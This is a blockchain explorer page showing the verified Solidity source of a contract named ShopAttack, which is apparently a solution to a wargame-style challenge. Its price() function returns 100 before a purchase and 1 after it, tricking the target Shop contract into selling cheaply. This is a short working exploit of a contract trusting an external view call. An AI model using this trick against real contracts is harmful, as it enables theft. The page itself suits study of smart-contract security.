Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"Shop/ShopAttack.sol": {
"content": "// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Shop {
function buy() external ;
function isSold() external view returns (bool);
}
contract ShopAttack {
Shop public shop;
constructor(address _shop) {
shop = Shop(_shop);
}
function attack() public {
shop.buy();
}
function price() external view returns (uint256) {
if (!shop.isSold()){
return 100;
} else {
return 1;
}
}
}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-11-07 13:35:26
Comments
Log in to comment.
No comments yet.